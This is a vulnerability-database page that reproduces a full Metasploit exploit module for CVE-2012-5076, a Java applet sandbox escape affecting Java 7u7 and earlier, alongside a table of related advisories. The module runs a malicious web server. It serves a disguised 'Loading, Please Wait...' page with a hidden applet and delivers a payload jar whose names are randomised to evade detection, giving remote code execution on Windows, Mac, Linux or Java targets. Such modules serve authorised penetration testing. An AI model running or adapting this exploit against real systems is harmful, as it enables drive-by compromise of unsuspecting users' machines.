Java Applet AverageRangeStatisticImpl Remote Code Execution

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Java Applet AverageRangeStatisticImpl Remote Code Execution Allows Remote Attackers to Run Arbitrary Cod

Reporter	Title	Published	Views	Family All 95
0day.today	Java Applet JAX-WS Remote Code Execution Vulnerability	13 Nov 201200:00	–	zdt
0day.today	Java Applet AverageRangeStatisticImpl Remote Code Execution	23 Jan 201300:00	–	zdt
IBM Security Bulletins	Security Bulletin: Vulnerabilities in Rational Functional Tester versions 8.x due to security vulnerabilities in IBM JRE 7.0 Service Release 2 or earlier, and non-IBM Java 7.0	7 May 201913:40	–	ibm
IBM Security Bulletins	Security Bulletin: IBM Operational Decision Manager and WebSphere ILOG JRules: Multiple security vulnerabilities in IBM JRE 6.0	25 Sep 202223:13	–	ibm
ATTACKERKB	CVE-2012-5076	16 Oct 201200:00	–	attackerkb
Tenable Nessus	CentOS 6 : java-1.7.0-openjdk (CESA-2012:1386) (ROBOT)	18 Oct 201200:00	–	nessus
Tenable Nessus	GLSA-201401-30 : Oracle JRE/JDK: Multiple vulnerabilities (ROBOT)	27 Jan 201400:00	–	nessus
Tenable Nessus	GLSA-201406-32 : IcedTea JDK: Multiple vulnerabilities (BEAST) (ROBOT)	30 Jun 201400:00	–	nessus
Tenable Nessus	MiracleLinux 4 : java-1.7.0-openjdk-1.7.0.9-2.3.3.AXS4.1 (AXSA:2012-967:03)	14 Jan 202600:00	–	nessus
Tenable Nessus	openSUSE Security Update : java-1_7_0-openjdk (openSUSE-SU-2012:1419-1) (ROBOT)	13 Jun 201400:00	–	nessus


                                                ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require &#39;msf/core&#39;
require &#39;rex&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({ :javascript =&#62; false })

	def initialize( info = {} )

		super( update_info( info,
			&#39;Name&#39;          =&#62; &#39;Java Applet AverageRangeStatisticImpl Remote Code Execution&#39;,
			&#39;Description&#39;   =&#62; %q{
					This module abuses the AverageRangeStatisticImpl from a Java Applet to run
				arbitrary Java code outside of the sandbox, a different exploit vector than the one
				exploited in the wild in November of 2012. The vulnerability affects Java version
				7u7 and earlier.
			},
			&#39;License&#39;       =&#62; MSF_LICENSE,
			&#39;Author&#39;        =&#62;
				[
					&#39;Unknown&#39;, # Vulnerability discovery at security-explorations
					&#39;juan vazquez&#39; # Metasploit module
				],
			&#39;References&#39;    =&#62;
				[
					[ &#39;CVE&#39;, &#39;2012-5076&#39; ],
					[ &#39;OSVDB&#39;, &#39;86363&#39; ],
					[ &#39;BID&#39;, &#39;56054&#39; ],
					[ &#39;URL&#39;, &#39;http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html&#39; ],
					[ &#39;URL&#39;, &#39;https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-5076&#39; ],
					[ &#39;URL&#39;, &#39;http://www.security-explorations.com/materials/se-2012-01-report.pdf&#39; ]
				],
			&#39;Platform&#39;      =&#62; [ &#39;java&#39;, &#39;win&#39;, &#39;osx&#39;, &#39;linux&#39; ],
			&#39;Payload&#39;       =&#62; { &#39;Space&#39; =&#62; 20480, &#39;DisableNops&#39; =&#62; true },
			&#39;Targets&#39;       =&#62;
				[
					[ &#39;Generic (Java Payload)&#39;,
						{
							&#39;Platform&#39; =&#62; [&#39;java&#39;],
							&#39;Arch&#39; =&#62; ARCH_JAVA,
						}
					],
					[ &#39;Windows x86 (Native Payload)&#39;,
						{
							&#39;Platform&#39; =&#62; &#39;win&#39;,
							&#39;Arch&#39; =&#62; ARCH_X86,
						}
					],
					[ &#39;Mac OS X x86 (Native Payload)&#39;,
						{
							&#39;Platform&#39; =&#62; &#39;osx&#39;,
							&#39;Arch&#39; =&#62; ARCH_X86,
						}
					],
					[ &#39;Linux x86 (Native Payload)&#39;,
						{
							&#39;Platform&#39; =&#62; &#39;linux&#39;,
							&#39;Arch&#39; =&#62; ARCH_X86,
						}
					],
				],
			&#39;DefaultTarget&#39;  =&#62; 0,
			&#39;DisclosureDate&#39; =&#62; &#39;Oct 16 2012&#39;
		))
	end


	def setup
		path = File.join(Msf::Config.install_root, &#34;data&#34;, &#34;exploits&#34;, &#34;cve-2012-5076_2&#34;, &#34;Exploit.class&#34;)
		@exploit_class = File.open(path, &#34;rb&#34;) {|fd| fd.read(fd.stat.size) }
		path = File.join(Msf::Config.install_root, &#34;data&#34;, &#34;exploits&#34;, &#34;cve-2012-5076_2&#34;, &#34;B.class&#34;)
		@loader_class = File.open(path, &#34;rb&#34;) {|fd| fd.read(fd.stat.size) }

		@exploit_class_name = rand_text_alpha(&#34;Exploit&#34;.length)
		@exploit_class.gsub!(&#34;Exploit&#34;, @exploit_class_name)
		super
	end

	def on_request_uri(cli, request)
		print_status(&#34;handling request for #{request.uri}&#34;)

		case request.uri
		when /\.jar$/i
			jar = payload.encoded_jar
			jar.add_file(&#34;#{@exploit_class_name}.class&#34;, @exploit_class)
			jar.add_file(&#34;B.class&#34;, @loader_class)
			metasploit_str = rand_text_alpha(&#34;metasploit&#34;.length)
			payload_str = rand_text_alpha(&#34;payload&#34;.length)
			jar.entries.each { |entry|
				entry.name.gsub!(&#34;metasploit&#34;, metasploit_str)
				entry.name.gsub!(&#34;Payload&#34;, payload_str)
				entry.data = entry.data.gsub(&#34;metasploit&#34;, metasploit_str)
				entry.data = entry.data.gsub(&#34;Payload&#34;, payload_str)
			}
			jar.build_manifest

			send_response(cli, jar, { &#39;Content-Type&#39; =&#62; &#34;application/octet-stream&#34; })
		when /\/$/
			payload = regenerate_payload(cli)
			if not payload
				print_error(&#34;Failed to generate the payload.&#34;)
				send_not_found(cli)
				return
			end
			send_response_html(cli, generate_html, { &#39;Content-Type&#39; =&#62; &#39;text/html&#39; })
		else
			send_redirect(cli, get_resource() + &#39;/&#39;, &#39;&#39;)
		end

	end

	def generate_html
		html  = %Q|&#60;html&#62;&#60;head&#62;&#60;title&#62;Loading, Please Wait...&#60;/title&#62;&#60;/head&#62;|
		html += %Q|&#60;body&#62;&#60;center&#62;&#60;p&#62;Loading, Please Wait...&#60;/p&#62;&#60;/center&#62;|
		html += %Q|&#60;applet archive=&#34;#{rand_text_alpha(8)}.jar&#34; code=&#34;#{@exploit_class_name}.class&#34; width=&#34;1&#34; height=&#34;1&#34;&#62;|
		html += %Q|&#60;/applet&#62;&#60;/body&#62;&#60;/html&#62;|
		return html
	end

end

01 Jul 2014 00:00Current

0.2Low risk

Vulners AI Score0.2

EPSS0.91441